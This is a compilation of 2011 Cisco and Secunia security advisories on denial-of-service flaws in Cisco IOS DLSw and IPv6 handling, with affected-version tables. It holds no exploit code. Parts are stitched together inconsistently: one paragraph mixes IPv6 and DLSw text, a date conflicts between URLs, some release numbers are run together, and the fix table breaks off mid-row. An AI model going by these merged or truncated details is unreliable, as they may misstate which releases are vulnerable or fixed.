Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. This vulnerability was discovered during Cisco internal testing. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://www.cisco.com/warp/public/707/cisco-sa-20110323-dlsw.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +------------------------------------------------------------+ | Revision 1.0 | 2011-September-28 | Initial public release | +------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iF4EAREIAAYFAk6Cp2EACgkQQXnnBKKRMNDlUwD/RunFKu5OItJXD8gTi5PtkxMz CoIx3+/EIJjznWKJnBoA/3bh8zYaW5Et3pvnmF9Hm2nImvFT1jMZOIv1zWfAMsXX =oqzZ -----END PGP SIGNATURE----- . ---------------------------------------------------------------------- Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool. Read the new report on the Secunia VIM: http://secunia.com/products/corporate/vim/ovum_2011_request/ ---------------------------------------------------------------------- TITLE: Cisco IOS Data-Link Switching Denial of Service Vulnerability SECUNIA ADVISORY ID: SA46189 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46189/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46189 RELEASE DATE: 2011-10-31 DISCUSS ADVISORY: http://secunia.com/advisories/46189/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46189/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46189 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A vulnerability has been reported in Cisco IOS, which can be exploited by malicious people to cause a DoS (Denial of Service). Please see the vendor's advisory for a list of affected versions. SOLUTION: Update to a fixed version (please see the vendor's advisory for details). PROVIDED AND/OR DISCOVERED BY: Reported by vendor. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20110928-dlsw.shtml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor

Cisco IOS 12.4, 15.0, and 15.1 allows remote attackers to cause a denial of service (device reload) via malformed IPv6 packets, aka Bug ID CSCtj41194. An attacker can exploit this issue to cause the affected devices to reload, denying service to legitimate users. Repeat attacks will result in sustained denial-of-service condition. This issue is tracked by Cisco Bug ID CSCtj41194. Cisco's Internet Operating System (IOS) is a complex operating system optimized for Internet interconnection. The data flow interaction function DLSw can realize the transmission of IBM SNA and network BIOS traffic on the IP network. ---------------------------------------------------------------------- Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool. Read the new report on the Secunia VIM: http://secunia.com/products/corporate/vim/ovum_2011_request/ ---------------------------------------------------------------------- TITLE: Cisco IOS IPv6 Packet Processing Denial of Service Vulnerability SECUNIA ADVISORY ID: SA46199 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46199 RELEASE DATE: 2011-10-30 DISCUSS ADVISORY: http://secunia.com/advisories/46199/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46199/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46199 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A vulnerability has been reported in Cisco IOS, which can be exploited by malicious people to cause a DoS (Denial of Service). Please see the vendor's advisory for a list of affected versions. SOLUTION: Update to a fixed version (please see the vendor's advisory for details). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6.shtml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. The vulnerability may be triggered when the device processes a malformed IPv6 packet. Cisco has released free software updates that address this vulnerability. There are no workarounds to mitigate this vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6.shtml. Note: The September 28, 2011, Cisco IOS Software Security Advisory bundled publication includes ten Cisco Security Advisories. Each advisory lists the Cisco IOS Software releases that correct the vulnerability or vulnerabilities detailed in the advisory as well as the Cisco IOS Software releases that correct all vulnerabilities in the September 2011 Bundled Publication. Individual publication links are in "Cisco Event Response: Semiannual Cisco IOS Software Security Advisory Bundled Publication" at the following link: http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep11.html Affected Products ================= This vulnerability affects devices that are running Cisco IOS Software and configured for IPv6 operation. IPv6 is not enabled by default in Cisco IOS Software. Vulnerable Products +------------------ Cisco devices that are running an affected version of Cisco IOS Software and configured for IPv6 operation are vulnerable. A device that is running Cisco IOS Software and that has IPv6 enabled will show some interfaces with assigned IPv6 addresses when the "show ipv6 interface brief" command is executed. The "show ipv6 interface brief" command will produce an error message if the version of Cisco IOS Software in use does not support IPv6, or will not show any interfaces with IPv6 address if IPv6 is disabled. The system is not vulnerable in these scenarios. Sample output of the "show ipv6 interface brief" command on a system that is configured for IPv6 operation follows: router>show ipv6 interface brief FastEthernet0/0 [up/up] FE80::222:90FF:FEB0:1098 2001:DB8:2:93::3 200A:1::1 FastEthernet0/1 [up/up] FE80::222:90FF:FEB0:1099 2001:DB8:2:94::1 Serial0/0/0 [down/down] unassigned Serial0/0/0.4 [down/down] unassigned Serial0/0/0.5 [down/down] unassigned Serial0/0/0.6 [down/down] unassigned Alternatively, the IPv6 protocol is enabled if the interface configuration command "ipv6 address <IPv6 address>" or "ipv6 enable" is present in the configuration. Both may be present, as shown in the vulnerable configuration in the following example shows: interface FastEthernet0/1 ipv6 address 2001:0DB8:C18:1::/64 eui-64 ! interface FastEthernet0/2 ipv6 enable A device that is running Cisco IOS Software and that has IPv6 enabled on a physical or logical interface is vulnerable even if ipv6 unicast-routing is globally disabled (that is, the device is not routing IPv6 packets). To determine the Cisco IOS Software release that is running on a Cisco product, administrators can log in to the device and issue the "show version" command to display the system banner. The system banner confirms that the device is running Cisco IOS Software by displaying text similar to "Cisco Internetwork Operating System Software" or "Cisco IOS Software." The image name displays in parentheses, followed by "Version" and the Cisco IOS Software release name. Other Cisco devices do not have the "show version" command or may provide different output. The following example identifies a Cisco product that is running Cisco IOS Software Release 15.0(1)M1 with an installed image name of C3900-UNIVERSALK9-M: Router> show version Cisco IOS Software, C3900 Software (C3900-UNIVERSALK9-M), Version 15.0(1)M1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Wed 02-Dec-09 17:17 by prod_rel_team !--- output truncated Additional information about Cisco IOS Software release naming conventions is available in the white paper Cisco IOS and NX-OS Software Reference Guide available at http://www.cisco.com/web/about/security/intelligence/ios-ref.html. No other Cisco products are currently known to be affected by this vulnerability. Details ======= IPv6, which was designed by the Internet Engineering Task Force (IETF), is intended to replace the current version, IP Version 4 (IPv4). An attacker could exploit this vulnerability by sending malformed IPv6 packets to physical or logical interfaces that are configured to process IPv6 traffic. Transit traffic cannot trigger this vulnerability. Exploitation could cause an affected system to reload. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtj41194 ("Crafted IPv6 packet causes device reload") CVSS Base Score - 7.8 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - None Availability Impact - Complete CVSS Temporal Score - 6.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the vulnerability that is described in this advisory may cause a reload of an affected device. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Additionally, the Cisco IOS Software Checker is available on the Cisco Security Intelligence Operations (SIO) portal at http://tools.cisco.com/security/center/selectIOSVersion.x. It provides several features for checking which Security Advisories affect specified versions of Cisco IOS Software. Cisco IOS Software +----------------- Each row of the following Cisco IOS Software table corresponds to a Cisco IOS Software train. If a particular train is vulnerable, the earliest releases that contain the fix are listed in the First Fixed Release For This Advisory column. The First Fixed Release for All Advisories in the September 2011 Bundled Publication column lists the earliest possible releases that correct all the published vulnerabilities in the Cisco IOS Software Security Advisory bundled publication. Cisco recommends upgrading to the latest available release, where possible. +------------------------------------------------------------+ | Major | Availability of Repaired Releases | | Release | | |------------+-----------------------------------------------| | Affected | | First Fixed Release for | | 12.0-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.0 based releases | |------------------------------------------------------------| | Affected | | First Fixed Release for | | 12.1-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+--------------------+--------------------------| | 12.1E | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | Affected | | First Fixed Release for | | 12.2-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+--------------------+--------------------------| | 12.2 | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2B | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2BC | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2BW | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2BX | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SB | |------------+--------------------+--------------------------| | 12.2BY | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2BZ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2CX | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2CY | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2CZ | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SB | |------------+--------------------+--------------------------| | 12.2DA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2DD | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2DX | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2EU | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Releases up to and | | 12.2EW | Not vulnerable | including 12.2(20)EW4 | | | | are not vulnerable. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2EWA | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2EX | Not vulnerable | 12.2(55)EX3 | |------------+--------------------+--------------------------| | 12.2EY | Not vulnerable | 12.2(58)EY | |------------+--------------------+--------------------------| | 12.2EZ | Not vulnerable | Vulnerable; migrate to | | | | any release in 15.0SE | |------------+--------------------+--------------------------| | 12.2FX | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2FY | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2EX | |------------+--------------------+--------------------------| | 12.2FZ | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2IRA | Not vulnerable | Vulnerable; migrate to | | | | any release in 12.2IRG | |------------+--------------------+--------------------------| | 12.2IRB | Not vulnerable | Vulnerable; migrate to | | | | any release in 12.2IRG | |------------+--------------------+--------------------------| | 12.2IRC | Not vulnerable | Vulnerable; migrate to | | | | any release in 12.2IRG | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IRD | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IRE | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2IRF | Not vulnerable | Vulnerable; migrate to | | | | any release in 12.2IRG | |------------+--------------------+--------------------------| | 12.2IRG | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXB | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXC | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXD | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXE | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXF | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXG | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXH | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2JA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2JK | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2MB | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2MC | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2MRA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SRD | |------------+--------------------+--------------------------| | 12.2MRB | Not vulnerable | 12.2(33)MRB5 | |------------+--------------------+--------------------------| | | | Releases prior to 12.2 | | | | (30)S are vulnerable; | | 12.2S | Not vulnerable | Releases 12.2(30)S and | | | | later are not | | | | vulnerable. First fixed | | | | in Release 12.2SB | |------------+--------------------+--------------------------| | 12.2SB | Not vulnerable | 12.2(31)SB2012.2(33)SB10 | |------------+--------------------+--------------------------| | 12.2SBC | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SB | |------------+--------------------+--------------------------| | 12.2SCA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SCC | |------------+--------------------+--------------------------| | 12.2SCB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SCC | |------------+--------------------+--------------------------| | 12.2SCC | Not vulnerable | 12.2(33)SCC7 | |------------+--------------------+--------------------------| | 12.2SCD | Not vulnerable | 12.2(33)SCD6 | |------------+--------------------+--------------------------| | 12.2SCE | Not vulnerable | 12.2(33)SCE112.2(33)SCE2 | |------------+--------------------+--------------------------| | 12.2SCF | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SE | Not vulnerable | 12.2(55)SE312.2(58)SE | |------------+--------------------+--------------------------| | 12.2SEA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2SEB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2SEC | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2SED | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2SEE | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | 12.2SEF | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SE | |------------+--------------------+--------------------------| | | | Releases prior to 12.2 | | | | (25)SEG4 are vulnerable; | | 12.2SEG | Not vulnerable | Releases 12.2(25)SEG4 | | | | and later are not | | | | vulnerable. First fixed | | | | in Release 12.2EX | |------------+--------------------+--------------------------| | | | Releases prior to 12.2 | | | | (53)SG4 are vulnerable; | | 12.2SG | Not vulnerable | Releases 12.2(53)SG4 and | | | | later are not | | | | vulnerable. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SGA | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2SL | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SM | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2SO | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SQ | Not vulnerable | 12.2(50)SQ3 | |------------+--------------------+--------------------------| | 12.2SRA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SRD | |------------+--------------------+--------------------------| | 12.2SRB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SRD | |------------+--------------------+--------------------------| | 12.2SRC | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SRD | |------------+--------------------+--------------------------| | 12.2SRD | Not vulnerable | 12.2(33)SRD6 | |------------+--------------------+--------------------------| | 12.2SRE | Not vulnerable | 12.2(33)SRE4 | |------------+--------------------+--------------------------| | 12.2STE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SU | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | | | Releases prior to 12.2 | | | | (29a)SV are vulnerable; | | 12.2SV | Not vulnerable | Releases 12.2(29a)SV and | | | | later are not | | | | vulnerable. Migrate to | | | | any release in 12.2SVD | |------------+--------------------+--------------------------| | 12.2SVA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SVC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SVD | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SVE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SW | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2SX | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | 12.2SXA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | 12.2SXB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | 12.2SXD | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | 12.2SXE | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | 12.2SXF | Not vulnerable | 12.2(18)SXF17b | |------------+--------------------+--------------------------| | 12.2SXH | Not vulnerable | 12.2(33)SXH8a | |------------+--------------------+--------------------------| | 12.2SXI | Not vulnerable | 12.2(33)SXI6 | |------------+--------------------+--------------------------| | 12.2SXJ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2SY | Not vulnerable | 12.2(50)SY | |------------+--------------------+--------------------------| | 12.2SZ | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SB | |------------+--------------------+--------------------------| | 12.2T | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2TPC | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2XA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2XC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XD | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XF | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XG | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XH | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XI | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XJ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XK | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XL | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XM | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XN | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XNA | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XNB | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XNC | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XND | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XNE | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | See Cisco IOS-XE | See Cisco IOS-XE | | 12.2XNF | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | | Releases prior to 12.2 | | | | (54)XO are vulnerable; | | 12.2XO | Not vulnerable | Releases 12.2(54)XO and | | | | later are not | | | | vulnerable. | |------------+--------------------+--------------------------| | 12.2XQ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XR | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XS | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XT | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XU | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XV | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2XW | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2YA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2YB | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2YC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2YD | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2YE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YF | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YG | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YH | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YJ | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2YK | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YL | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2YM | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YN | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2YO | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 